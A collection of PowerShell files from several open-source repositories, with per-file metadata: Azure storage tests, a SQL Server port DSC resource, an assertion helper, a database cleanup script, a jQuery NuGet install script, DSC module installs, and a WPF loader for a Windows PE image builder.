ipRules=(@{IPAddressOrRange="$ip1";Action="allow"}, @{IPAddressOrRange="$ip2";Action="allow"}); defaultAction="Allow"}) $job | Wait-Job $stoacl = Get-AzureRmStorageAccountNetworkRuleSet -ResourceGroupName $rgname -Name $stoname Assert-AreEqual 4 $stoacl.Bypass; Assert-AreEqual Allow $stoacl.DefaultAction; Assert-AreEqual 2 $stoacl.IpRules.Count Assert-AreEqual $ip1 $stoacl.IpRules[0].IPAddressOrRange; Assert-AreEqual $ip2 $stoacl.IpRules[1].IPAddressOrRange; Assert-AreEqual 0 $stoacl.VirtualNetworkRules.Count $job = Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname -AsJob $job | Wait-Job } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test SetAzureStorageAccount with Kind as StorageV2 .Description AzureAutomationTest #> function Test-SetAzureStorageAccountStorageV2 { # Setup $rgname = Get-StorageManagementTestResourceName; try { # Test $stoname = 'sto' + $rgname; $stotype = 'Standard_GRS'; $loc = Get-ProviderLocation ResourceManagement; $kind = 'Storage' New-AzureRmResourceGroup -Name $rgname -Location $loc; $loc = Get-ProviderLocation ResourceManagement; New-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -Location $loc -Type $stotype -Kind $kind; Retry-IfException { $global:sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; } $stotype = 'StandardGRS'; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; $kind = 'StorageV2' Set-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname -UpgradeToStorageV2; $sto = Get-AzureRmStorageAccount -ResourceGroupName $rgname -Name $stoname; Assert-AreEqual $stoname $sto.StorageAccountName; Assert-AreEqual $stotype $sto.Sku.Name; Assert-AreEqual $loc.ToLower().Replace(" ", "") $sto.Location; Assert-AreEqual $kind $sto.Kind; Remove-AzureRmStorageAccount -Force -ResourceGroupName $rgname -Name $stoname; } finally { # Cleanup Clean-ResourceGroup $rgname } } <# .SYNOPSIS Test GetAzureStorageUsage with current Location .Description AzureAutomationTest #> function Test-GetAzureStorageLocationUsage { # Test $loc = Get-ProviderLocation_Stage ResourceManagement; $usage = Get-AzureRmStorageUsage -Location $loc Assert-AreNotEqual 0 $usage.Limit; Assert-AreNotEqual 0 $usage.CurrentValue; }
ClogenyTechnologies/azure-powershell
src/ResourceManager/Storage/Commands.Management.Storage.Test/ScenarioTests/StorageAccountTests.ps1
PowerShell
apache-2.0
24,635
# # xSqlTsqlEndpoint: DSC resource to configure SQL Server instance # TCP/IP listening port for T-SQL connection # function Get-TargetResource { param ( [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string] $InstanceName, [ValidateRange(1,65535)] [uint32] $PortNumber = 1433, [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [PSCredential] $SqlAdministratorCredential ) $bConfigured = Test-TargetResource -InstanceName $InstanceName -Name $Name -PortNumber $PortNumber -SqlAdministratorCredential $SqlAdministratorCredential $retVal = @{ InstanceName = $InstanceName PortNumber = $PortNumber SqlAdministratorCredential = $SqlAdministratorCredential.UserName Configured = $bConfigured } $retVal } function Set-TargetResource { param ( [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string] $InstanceName, [ValidateRange(1,65535)] [uint32] $PortNumber = 1433, [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [PSCredential] $SqlAdministratorCredential ) try { # set sql server port Set-SqlTcpPort -InstanceName $InstanceName -EndpointPort $PortNumber -Credential $SqlAdministratorCredential } catch { Write-Host "Error setting SQL Server instance. Instance: $InstanceName, Port: $PortNumber" throw $_ } } function Test-TargetResource { param ( [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string] $InstanceName, [ValidateRange(1,65535)] [uint32] $PortNumber = 1433, [parameter(Mandatory)] [ValidateNotNullOrEmpty()] [PSCredential] $SqlAdministratorCredential ) $testPort = Test-SqlTcpPort -InstanceName $InstanceName -EndpointPort $PortNumber if($testPort -ne $true) { return $false } $true } #Return a SMO object to a SQL Server instance using the provided credentials function Get-SqlServer([string]$InstanceName, [PSCredential]$Credential) { [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null $sc = New-Object Microsoft.SqlServer.Management.Common.ServerConnection $list = $InstanceName.Split("\") if ($list.Count -gt 1 -and $list[1] -eq "MSSQLSERVER") { $sc.ServerInstance = $list[0] } else { $sc.ServerInstance = "." } $sc.ConnectAsUser = $true if ($Credential.GetNetworkCredential().Domain -and $Credential.GetNetworkCredential().Domain -ne $env:COMPUTERNAME) { $sc.ConnectAsUserName = "$($Credential.GetNetworkCredential().UserName)@$($Credential.GetNetworkCredential().Domain)" } else { $sc.ConnectAsUserName = $Credential.GetNetworkCredential().UserName } $sc.ConnectAsUserPassword = $Credential.GetNetworkCredential().Password [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | Out-Null $s = New-Object Microsoft.SqlServer.Management.Smo.Server $sc $s } #The function sets local machine SQL Server instance TCP port function Set-SqlTcpPort([string]$InstanceName, [uint32]$EndpointPort, [PSCredential]$Credential) { [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") | Out-Null [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | Out-Null $Server = Get-SqlServer -InstanceName $InstanceName -Credential $Credential $mc = New-Object Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer $Server.Name $computerName = $env:COMPUTERNAME # For the named instance, on the current computer, for the TCP protocol, # loop through all the IPs and configure them to set the port value $uri = "ManagedComputer[@Name='$computerName']/ ServerInstance[@Name='$InstanceName']/ServerProtocol[@Name='Tcp']" $Tcp = $mc.GetSmoObject($uri) foreach ($ipAddress in $Tcp.IPAddresses) { $ipAddress.IPAddressProperties["TcpDynamicPorts"].Value = "" $ipAddress.IPAddressProperties["TcpPort"].Value = $EndpointPort.ToString() } $Tcp.Alter() } #The function test if the instance on the local machine TCP port is set to #the endpoint provided. This is a WMI ready access, so credentials is not required. function Test-SqlTcpPort([string]$InstanceName, [uint32]$EndpointPort) { #Load the assembly containing the classes [reflection.assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") $list = $InstanceName.Split("\") if ($list.Count -gt 1) { $InstanceName = $list[1] } else { $InstanceName = "MSSQLSERVER" } $mc = New-Object -TypeName Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer $env:COMPUTERNAME $instance=$mc.ServerInstances[$InstanceName] $protocol=$instance.ServerProtocols['Tcp'] for($i =0; $i -le $protocol.IPAddresses.Length.Count - 1; $i++) { $ip=$protocol.IPAddresses[$i] $port=$ip.IPAddressProperties['TcpPort'] if($port.Value -ne $EndpointPort) { return $false } } return $true } Export-ModuleMember -Function *-TargetResource
OmegaMadLab/SQLScripts
tcdit2017/tcdit-sqlvm-alwayson-cluster/scripts/PrepareSqlServerVM.ps1/xSQL/DSCResources/MicrosoftAzure_xSqlTsqlEndpoint/MicrosoftAzure_xSqlTsqlEndpoint.psm1
PowerShell
mit
5,347
# Copyright 2012 - 2015 Aaron Jensen # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. function Assert-NotEqual { <# .SYNOPSIS Asserts that two objects aren't equal. .DESCRIPTION Uses PowerShell's `-eq` operator to determine if the two objects are equal or not. .LINK Assert-Equal .LINK Assert-CEqual .EXAMPLE Assert-NotEqual 'Foo' 'Foo' Demonstrates how to assert that `'Foo' -eq 'Foo'`, which they are. .EXAMPLE Assert-NotEqual 'Foo' 'Bar' 'Didn''t get ''Bar'' result.' Demonstrates how to show a reason why a test might have failed. #> [CmdletBinding()] param( [Parameter(Position=0)] # The expected value. $Expected, [Parameter(Position=1)] # The actual value. $Actual, [Parameter(Position=2)] # A descriptive error about why the assertion might fail. $Message ) if( $Expected -eq $Actual ) { Fail ('{0} is equal to {1}. {2}' -f $Expected,$Actual,$Message) } }
pshdo/Carbon
Tools/Blade/Functions/Assert-NotEqual.ps1
PowerShell
apache-2.0
1,622
[cmdletbinding()] param ( [string]$resourcegroup ) Write-Host "Drop databases" $servers = Get-AzureRmSqlServer -ResourceGroupName $resourcegroup foreach ($sqlServerName in $servers){ Write-Host $sqlServerName.ServerName $databases = Get-AzureRmSqlDatabase -ResourceGroupName $resourcegroup -ServerName $sqlServerName.ServerName foreach ($databasename in $databases){ Write-Host $databasename.DatabaseName if (-Not ($databasename.DatabaseName = 'master')) { Remove-AzureRMSqlDatabase -ResourceGroupName $resourcegroup –DatabaseName $databasename.DatabaseName -ServerName $sqlServerName.ServerName -Force } } }
hsachinraj/DevOps-Immersion-Labs
source/BuildScripts/DropDatabasesRG.ps1
PowerShell
mit
680
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersion = $vsVersion.Major Write-Host "IntelliSense JS files are not supported by your version of Visual Studio: $displayVersion" exit } if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Delete the vsdoc file from the project try { $vsDocProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("jquery-$ver-vsdoc.js") Delete-ProjectItem $vsDocProjectItem } catch { Write-Host "Error deleting vsdoc file: " + $_.Exception -ForegroundColor Red exit } # Copy the intellisense file to the project from the tools folder $intelliSenseFileSourcePath = Join-Path $toolsPath $intelliSenseFileName try { $scriptsFolderProjectItem.ProjectItems.AddFromFileCopy($intelliSenseFileSourcePath) } catch { # This will throw if the file already exists, so we need to catch here } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $jqueryFileNameRegEx $jqueryFileName # SIG # Begin signature block # MIIdiAYJKoZIhvcNAQcCoIIdeTCCHXUCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQU0I+lFeXuzuDjmA424BltqPPQ # cH6gghhSMIIEwTCCA6mgAwIBAgITMwAAANjkdflFb0j3rgAAAAAA2DANBgkqhkiG # 9w0BAQUFADB3MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4G # A1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSEw # HwYDVQQDExhNaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EwHhcNMTcxMDAyMjI1NzU3 # WhcNMTkwMTAyMjI1NzU3WjCBsTELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hp # bmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jw # b3JhdGlvbjEMMAoGA1UECxMDQU9DMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo3 # MERELTRCNUItNDU2ODElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2Vy # dmljZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMR2sf6C9y+kIdyj # 16QouyVvlvPjzdmE1FFIAb7gUl7UCknd2nlquXeGJHQdX22zmY18QH/8EjH8voTu # 57DqKJRFkqkD+PQ87+M4j2aW27QCHiHVATEHdHelT0ANUSoxETlAe4d6gd6sL/aA # wkqFSqTncLfVeAenMJ7Te3tLmLYBk59CI/Tmf2YCsU+Z0nQ0S0AH6IHAKbDLL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Gbra7ju # oYICKDCCAiQGCSqGSIb3DQEJBjGCAhUwggIRAgEBMIGOMHcxCzAJBgNVBAYTAlVT # MRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQK # ExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xITAfBgNVBAMTGE1pY3Jvc29mdCBUaW1l # LVN0YW1wIFBDQQITMwAAANjkdflFb0j3rgAAAAAA2DAJBgUrDgMCGgUAoF0wGAYJ # KoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTcxMjIwMDky # MTQ1WjAjBgkqhkiG9w0BCQQxFgQUEqBHYU098283mREhu95xKMfQqmEwDQYJKoZI # hvcNAQEFBQAEggEAAoHoWO2zwvKBGwSYEBBQmFR7LBvsIN1pQKp+vnoiBkUiAqnx # vdV/JT7CK+2L56lUzNoTbO+Ps187fK/UppRV1TK3JqojyvkDU7uAFvmf//FOlDFx # TlpQw39Jl3N0VQOG1w2SeJQc9FGTL3BDoSKyqGVkwScOUFDV0LBLp/z2nBQSOvXK # IanyboCidNIJT8eCTkohAo2V4cBPQ5BqY5gEMVY694dj1NFqpp3v3PI+xZQTFtGP # Aqb8d02AQp7MXQKnRtGzVcvceAySTx+DFR/4BLWMqLnaHWjs2qvFyn6IrQqeERfJ # CCcZ0Fwi2ykZOdkmDeTHZHOI24eSr9fVwKduNg== # SIG # End signature block
MicrosoftLearning/20486-DevelopingASPNETMVCWebApplications
Allfiles/20486C/Mod08/LabFiles/PhotoSharingApplication_08_end/packages/jQuery.1.10.2/Tools/install.ps1
PowerShell
mit
11,913
# # Install all of the DSC modules # # install-module -name xActiveDirectory -force install-module -name xNetworking -force install-module -name xComputerManagement -force install-module -name xPendingReboot -force install-module -name xSystemSecurity -force install-module -name xRemoteDesktopAdmin -force install-module -name xTimeZone -force install-module -name xWinEventLog -force install-module -name xPSDesiredStateConfiguration -force install-module -name xStorage -force install-module -name xScheduledTask -force install-module -name xUser -force install-module -name xSqlPs -force install-module -name xChrome -force install-module -name DockerDSC -force install-module -name X7Zip -force install-module -name xWordPress -force
jakewatkins/PowerShell
installDSCmodules.ps1
PowerShell
mit
745
# # Load_Xaml.ps1 # Function Global:Read-Xaml($Path) { $XamlPath = Join-Path $BasedDirectory $Path $Xaml = [System.IO.File]::ReadAllText($XamlPath, [System.Text.Encoding]::UTF8) $Xaml = $Xaml.Replace("%BasedDirectory%", $BasedDirectory) Return [System.Windows.Markup.XamlReader]::Parse($Xaml) } Function Global:Check-SaveAvailable($MainWindow) { $WindowsAdkPathTextBox = $MainWindow.FindName("WindowsAdkPathTextBox") $SavePathTextBox = $MainWindow.FindName("SavePathTextBox") $ProjectPathTextBox = $MainWindow.FindName("ProjectPathTextBox") $ExportWindowsReImageButton = $MainWindow.FindName("ExportWindowsReImageButton") $SaveButton = $MainWindow.FindName("SaveButton") $CreateProjectOkButton = $MainWindow.FindName("CreateProjectOkButton") If (($WindowsAdkPathTextBox.Text -ne "") -and ($SavePathTextBox.Text -ne "") -and ($ProjectPathTextBox.Text -ne "")) { $ExportWindowsReImageButton.IsEnabled = $True $SaveButton.IsEnabled = $True $CreateProjectOkButton.IsEnabled = $True } Else { $ExportWindowsReImageButton.IsEnabled = $False $SaveButton.IsEnabled = $False $CreateProjectOkButton.IsEnabled = $False } } Function Global:Check-WindowsPeFeature($WindowsReIsEnabled, $PowershellIsEnabled) { If (($WindowsReIsEnabled -eq $True) -and ($PowershellIsEnabled -eq $True)) { $MainWindow.FindName("SupportWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportWindowsFoundationPackageCheckBox").IsChecked = $True $MainWindow.FindName("SupportEsCheckBox").IsChecked = $True $MainWindow.FindName("SupportRejuvCheckBox").IsChecked = $True $MainWindow.FindName("SupportScriptingCheckBox").IsChecked = $True $MainWindow.FindName("SupportSecureStartupCheckBox").IsChecked = $True $MainWindow.FindName("SupportSetupCheckBox").IsChecked = $True $MainWindow.FindName("SupportSrtCheckBox").IsChecked = $True $MainWindow.FindName("SupportWdsCheckBox").IsChecked = $True $MainWindow.FindName("SupportStorageWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportHtaCheckBox").IsChecked = $True $MainWindow.FindName("SupportNetFxCheckBox").IsChecked = $True $MainWindow.FindName("SupportDismCmdletsCheckBox").IsChecked = $True $MainWindow.FindName("SupportSecureBootCmdletsCheckBox").IsChecked = $True } ElseIf (($WindowsReIsEnabled -eq $True) -and ($PowershellIsEnabled -eq $False)) { $MainWindow.FindName("SupportWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportWindowsFoundationPackageCheckBox").IsChecked = $True $MainWindow.FindName("SupportEsCheckBox").IsChecked = $True $MainWindow.FindName("SupportRejuvCheckBox").IsChecked = $True $MainWindow.FindName("SupportScriptingCheckBox").IsChecked = $True $MainWindow.FindName("SupportSecureStartupCheckBox").IsChecked = $True $MainWindow.FindName("SupportSetupCheckBox").IsChecked = $True $MainWindow.FindName("SupportSrtCheckBox").IsChecked = $True $MainWindow.FindName("SupportWdsCheckBox").IsChecked = $True $MainWindow.FindName("SupportStorageWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportHtaCheckBox").IsChecked = $True $MainWindow.FindName("SupportNetFxCheckBox").IsChecked = $False $MainWindow.FindName("SupportDismCmdletsCheckBox").IsChecked = $False $MainWindow.FindName("SupportSecureBootCmdletsCheckBox").IsChecked = $False } ElseIf (($WindowsReIsEnabled -eq $False) -and ($PowershellIsEnabled -eq $True)) { $MainWindow.FindName("SupportWindowsFoundationPackageCheckBox").IsChecked = $True $MainWindow.FindName("SupportEsCheckBox").IsChecked = $False $MainWindow.FindName("SupportRejuvCheckBox").IsChecked = $False $MainWindow.FindName("SupportSecureStartupCheckBox").IsChecked = $False $MainWindow.FindName("SupportSetupCheckBox").IsChecked = $False $MainWindow.FindName("SupportSrtCheckBox").IsChecked = $False $MainWindow.FindName("SupportWdsCheckBox").IsChecked = $False $MainWindow.FindName("SupportStorageWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportHtaCheckBox").IsChecked = $False $MainWindow.FindName("SupportWmiCheckBox").IsChecked = $True $MainWindow.FindName("SupportNetFxCheckBox").IsChecked = $True $MainWindow.FindName("SupportScriptingCheckBox").IsChecked = $True $MainWindow.FindName("SupportDismCmdletsCheckBox").IsChecked = $True $MainWindow.FindName("SupportSecureBootCmdletsCheckBox").IsChecked = $True } Else { $MainWindow.FindName("SupportWmiCheckBox").IsChecked = $False $MainWindow.FindName("SupportWindowsFoundationPackageCheckBox").IsChecked = $False $MainWindow.FindName("SupportEsCheckBox").IsChecked = $False $MainWindow.FindName("SupportRejuvCheckBox").IsChecked = $False $MainWindow.FindName("SupportScriptingCheckBox").IsChecked = $False $MainWindow.FindName("SupportSecureStartupCheckBox").IsChecked = $False $MainWindow.FindName("SupportSetupCheckBox").IsChecked = $False $MainWindow.FindName("SupportSrtCheckBox").IsChecked = $False $MainWindow.FindName("SupportWdsCheckBox").IsChecked = $False $MainWindow.FindName("SupportStorageWmiCheckBox").IsChecked = $False $MainWindow.FindName("SupportHtaCheckBox").IsChecked = $False $MainWindow.FindName("SupportNetFxCheckBox").IsChecked = $False $MainWindow.FindName("SupportDismCmdletsCheckBox").IsChecked = $False $MainWindow.FindName("SupportSecureBootCmdletsCheckBox").IsChecked = $False } } Function Global:Open-Browser($Uri) { Start-Process $Uri } Function Global:InitializingAdkComBox() { $IsAdkInstalledEnvironment = $False $IsMultipleAdkEnvironment = $False # Žg—p’†‚̃vƒ‰ƒbƒgƒtƒH[ƒ€‚É‚æ‚鍷ˆÙ‚ðŠm”F If ([Environment]::Is64BitProcess -eq $True) { If ((Test-Path -Path HKLM:"SOFTWARE\Wow6432Node\Microsoft\Windows Kits\Installed Roots") -eq $True) { $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Wow6432Node\Microsoft\Windows Kits\Installed Roots").KitsRoot If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk8ComboBoxItem").Tag = $KitsRoot $IsAdkInstalledEnvironment = $True $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk8ComboBoxItem") } Else { $MainWindow.FindName("Adk8ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Wow6432Node\Microsoft\Windows Kits\Installed Roots").KitsRoot81 If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk81ComboBoxItem").Tag = $KitsRoot If ($IsAdkInstalledEnvironment -eq $True) { $IsMultipleAdkEnvironment = $True } $IsAdkInstalledEnvironment = $True $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk81ComboBoxItem") } Else { $MainWindow.FindName("Adk81ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Wow6432Node\Microsoft\Windows Kits\Installed Roots").KitsRoot10 If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk10ComboBoxItem").Tag = $KitsRoot If ($IsAdkInstalledEnvironment -eq $True) { $IsMultipleAdkEnvironment = $True } $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk10ComboBoxItem") } Else { $MainWindow.FindName("Adk10ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } } } Else { If ((Test-Path -Path HKLM:"SOFTWARE\Microsoft\Windows Kits\Installed Roots") -eq $True) { $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Microsoft\Windows Kits\Installed Roots").KitsRoot If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk8ComboBoxItem").Tag = $KitsRoot $IsAdkInstalledEnvironment = $True $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk8ComboBoxItem") } Else { $MainWindow.FindName("Adk8ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Microsoft\Windows Kits\Installed Roots").KitsRoot81 If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk81ComboBoxItem").Tag = $KitsRoot If ($IsAdkInstalledEnvironment -eq $True) { $IsMultipleAdkEnvironment = $True } $IsAdkInstalledEnvironment = $True $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk81ComboBoxItem") } Else { $MainWindow.FindName("Adk81ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } $KitsRoot = $(Get-ItemProperty -Path HKLM:"SOFTWARE\Microsoft\Windows Kits\Installed Roots").KitsRoot10 If ($KitsRoot -ne $null) { $MainWindow.FindName("Adk10ComboBoxItem").Tag = $KitsRoot If ($IsAdkInstalledEnvironment -eq $True) { $IsMultipleAdkEnvironment = $True } $MainWindow.FindName("SelectAdkComboBox").SelectedItem = $MainWindow.FindName("Adk10ComboBoxItem") } Else { $MainWindow.FindName("Adk10ComboBoxItem").Visibility = [System.Windows.Visibility]::Collapsed } } } If ($IsMultipleAdkEnvironment -eq $False) { $MainWindow.FindName("SelectAdkRoot").Visibility = [System.Windows.Visibility]::Collapsed } } Function Global:Load-Xaml() { $Script:MainWindow = Read-Xaml("View/MainWindow.xaml") $MainWindow.FindName("CreateProjectRoot").Visibility = [System.Windows.Visibility]::Visible $MainWindow.FindName("EulaRoot").Visibility = [System.Windows.Visibility]::Visible $WindowsAdkPathButton = $MainWindow.FindName("WindowsAdkPathButton") $WindowsAdkPathButton.Add_Click({ $WindowsAdkPathTextBox = $MainWindow.FindName("WindowsAdkPathTextBox") Select-Folder($WindowsAdkPathTextBox) Check-SaveAvailable($MainWindow) }) $WimPathButton = $MainWindow.FindName("WimPathButton") $WimPathButton.Add_Click({ $WimPathTextBox = $MainWindow.FindName("WimPathTextBox") Open-File $WimPathTextBox "WIMƒtƒ@ƒCƒ‹ (*.wim)|*.wim" Check-SaveAvailable($MainWindow) }) $Option1PathButton = $MainWindow.FindName("Option1PathButton") $Option1PathButton.Add_Click({ $Option1PathTextBox = $MainWindow.FindName("Option1PathTextBox") Select-Folder($Option1PathTextBox) Check-SaveAvailable($MainWindow) }) $Option2PathButton = $MainWindow.FindName("Option2PathButton") $Option2PathButton.Add_Click({ $Option2PathTextBox = $MainWindow.FindName("Option2PathTextBox") Select-Folder($Option2PathTextBox) Check-SaveAvailable($MainWindow) }) $SavePathButton = $MainWindow.FindName("SavePathButton") $SavePathButton.Add_Click({ $SavePathTextBox = $MainWindow.FindName("SavePathTextBox") Save-File $SavePathTextBox "ISOƒCƒ[ƒW (*.iso)|*.iso" Check-SaveAvailable($MainWindow) }) $ProjectPathButton = $MainWindow.FindName("ProjectPathButton") $ProjectPathButton.Add_Click({ $ProjectPathTextBox = $MainWindow.FindName("ProjectPathTextBox") Select-Folder($ProjectPathTextBox) Check-SaveAvailable($MainWindow) }) $MainWindow.FindName("Hyperlink1").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink1").NavigateUri) }) $MainWindow.FindName("Hyperlink2").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink2").NavigateUri) }) $MainWindow.FindName("Hyperlink3").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink3").NavigateUri) }) $MainWindow.FindName("Hyperlink4").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink4").NavigateUri) }) $MainWindow.FindName("Hyperlink101").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink101").NavigateUri) }) $MainWindow.FindName("Hyperlink102").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink102").NavigateUri) }) $MainWindow.FindName("Hyperlink111").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink111").NavigateUri) }) $MainWindow.FindName("Hyperlink112").Add_Click({ Open-Browser($MainWindow.FindName("Hyperlink112").NavigateUri) }) $MainWindow.FindName("AboutHyperlink").Add_Click({ Open-Browser($MainWindow.FindName("AboutHyperlink").NavigateUri) }) #Windows RE $MainWindow.FindName("SupportWindowsReCheckBox").Add_Checked({ Check-WindowsPeFeature $MainWindow.FindName("SupportWindowsReCheckBox").IsChecked $MainWindow.FindName("SupportPsCheckBox").IsChecked }) $MainWindow.FindName("SupportWindowsReCheckBox").Add_UnChecked({ Check-WindowsPeFeature $MainWindow.FindName("SupportWindowsReCheckBox").IsChecked $MainWindow.FindName("SupportPsCheckBox").IsChecked }) #PowerShell $MainWindow.FindName("SupportPsCheckBox").Add_Checked({ Check-WindowsPeFeature $MainWindow.FindName("SupportWindowsReCheckBox").IsChecked $MainWindow.FindName("SupportPsCheckBox").IsChecked }) $MainWindow.FindName("SupportPsCheckBox").Add_UnChecked({ Check-WindowsPeFeature $MainWindow.FindName("SupportWindowsReCheckBox").IsChecked $MainWindow.FindName("SupportPsCheckBox").IsChecked }) $ProjectPathTextBox = $MainWindow.FindName("ProjectPathTextBox") $ProjectPathTextBox.Add_TextChanged({ If ($ProjectPathTextBox.Text -ne "") { $Script:ProjectDirectoryPath = $ProjectPathTextBox.Text $SavePathTextBox = $MainWindow.FindName("SavePathTextBox") $SavePathTextBox.Text = Join-Path $ProjectDirectoryPath $BuildedWindowsPePath } Check-SaveAvailable($MainWindow) }) $SaveButton = $MainWindow.FindName("SaveButton") $SaveButton.Add_Click({ $SaveButton = $MainWindow.FindName("SaveButton") $SaveButton.IsEnabled = $False $MainWindow.FindName("IndicatorRoot").Visibility = [System.Windows.Visibility]::Visible $MainWindow.DialogResult = $True $MainWindow.Close() }) $ExportWindowsReImageButton = $MainWindow.FindName("ExportWindowsReImageButton") $ExportWindowsReImageButton.Add_Click({ Begin-CopyWindowsReBatch }) $SaveButton = $MainWindow.FindName("CancelButton") $SaveButton.Add_Click({ Remove-Item $BuildedWindowsPePath $MainWindow.FindName("CancelButton").Visibility = [System.Windows.Visibility]::Collapsed }) $CreateProjectOkButton = $MainWindow.FindName("CreateProjectOkButton") $CreateProjectOkButton.Add_Click({ $MainWindow.FindName("CreateProjectRoot").Visibility = [System.Windows.Visibility]::Collapsed Copy-Item (Join-Path $BasedDirectory "Templates\*") $ProjectDirectoryPath -Recurse -Force }) $SaveButton = $MainWindow.FindName("AgreeButton") $SaveButton.Add_Click({ $MainWindow.FindName("EulaRoot").Visibility = [System.Windows.Visibility]::Collapsed }) If ($Script:LicenseAgreement){ $MainWindow.FindName("EulaRoot").Visibility = [System.Windows.Visibility]::Collapsed } $SaveButton = $MainWindow.FindName("ExitButton") $SaveButton.Add_Click({ $MainWindow.DialogResult = $False $MainWindow.Close() }) $SelectAdkComboBox = $MainWindow.FindName("SelectAdkComboBox") $SelectAdkComboBox.Add_SelectionChanged({ $MainWindow.FindName("WindowsAdkPathTextBox").Text = Extis-Path($MainWindow.FindName("SelectAdkComboBox").SelectedItem.Tag) }) $MainWindow.FindName("DriversPathTextBox").Text = $DriverDirectoryPath $MainWindow.FindName("Option1PathTextBox").Text = $GhostPath $MainWindow.FindName("Option2PathTextBox").Text = $Option2Path $MainWindow.FindName("ProjectPathTextBox").Text = $ProjectDirectoryPath Check-SaveAvailable($MainWindow) $MainWindow.Title = $ApplicationTitle $MainWindow.FindName("ApplicationTitleTextBlock").Text = $ApplicationTitle $MainWindow.FindName("ApplicationLastUpdatedTextBlock").Text = $LastUpdated $MainWindow.FindName("AuthorTextBlock").Text = $Author InitializingAdkComBox Return $MainWindow }
morokoshi/Build-BootableWindowsPe
Windows PE Builder/Windows PE Builder/Scripts/5-1-Load-Xaml.ps1
PowerShell
mit
15,866
